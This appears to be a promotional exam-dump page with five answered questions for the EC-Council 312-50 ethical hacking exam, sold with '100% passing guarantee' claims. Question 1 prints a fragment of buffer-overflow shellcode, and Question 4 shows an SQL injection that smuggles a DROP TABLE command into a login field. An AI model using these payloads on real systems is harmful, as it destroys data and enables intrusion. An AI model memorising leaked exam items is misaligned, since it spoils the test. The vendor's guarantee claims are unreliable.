312-50Q&As

Ethical Hacker Certified

Pass EC-COUNCIL 312-50 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.leads4pass.com/312-50.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by EC-COUNCIL Official Exam Center

QUESTION 1

While investigating a claim of a user downloading illegal material, the investigator goes through the files on the suspect\\'s workstation. He comes across a file that is called `file.txt\\' but when he opens it, he find the following:

```
#define MAKE_STR_FROM_RET(x)  ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0
000)>>16),(((x)&0xff000000)>>24)char infin_loop[]= /* for testing
purposes */  "\xEB\xFE";char bsdcode[] = /* code by cha-cha-cha */
"\x31\xc0\x50\x50\x5C\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xcf\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x31\xc0\x8a\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\xf1\x31\xc0\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x80\xfe\x0a\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"'
"\x07\x89\x76\x08\x85\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x8C\xe8\x84\xff\xff\xff\xff\x01\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";static int
magic[MAX_MAGIC],magic_d[MAX_MAGIC];static char *magic_str=NULL;int
before_len=0;
```

What does this file contain?

A. A picture that has been renamed with a .txt extension.

B. An encrypted file.

C. A uuencoded file.

D. A buffer overflow.

Correct Answer: D

This is a buffer overflow exploit with its "payload" in hexadecimal format.

QUESTION 2

NetBIOS over TCP/IP allows files and/or printers to be shared over the network. You are trying to intercept the traffic from a victim machine to a corporate network printer. You are attempting to hijack the printer network connection from your laptop by sniffing the wire. Which port does SMB over TCP/IP use?

A. 443

B. 139

C. 179

D. 445

Correct Answer: D

QUESTION 3

In the context of using PKI, when Sven wishes to send a secret message to Bob, he looks up Bob\\'s public key in a directory, uses it to encrypt the message before sending it off. Bob then uses his private key to decrypt the message and reads it. No one listening on can decrypt the message. Anyone can send an encrypted message to Bob but only Bob can read it. Thus, although many people may know Bob\\'s public key and use it to verify Bob\\'s signature, they cannot discover Bob\\'s private key and use it to forge digital signatures.

What does this principle refer to?

A. Irreversibility

B. Non-repudiation

C. Symmetry

D. Asymmetry

Correct Answer: D

PKI uses asymmetric key pair encryption. One key of the pair is the only way to decrypt data encrypted with the other.

QUESTION 4

What will the following command produce on a website\\'s login page if executed successfully? SELECT email, passwd, login_id, full_name FROM members WHERE email = \\'someone@somewhere.com\\'; DROP TABLE members; --\\'

A. This code will insert the someone@somewhere.com email address into the members table.

B. This command will delete the entire members table.

C. It retrieves the password for the first user in the members table.

D. This command will not produce anything since the syntax is incorrect.

Correct Answer: B

QUESTION 5

You are doing IP spoofing while you scan your target. You find that the target has port 23 open.Anyway you are unable to connect. Why?

A. A firewall is blocking port 23

B. You cannot spoof + TCP

C. You need an automated telnet tool

D. The OS does not reply to telnet even if port 23 is open

Correct Answer: A

The question is not telling you what state the port is being reported by the scanning utility, if the program used to conduct this is nmap, nmap will show you one of three states "open", "closed", or "filtered" a port can be in an "open" state yet filtered, usually by a stateful packet inspection filter (ie. Netfilter for linux, ipfilter for bsd). C and D to make any sense for this question, their bogus, and B, "You cannot spoof + TCP", well you can spoof + TCP, so we strike that out.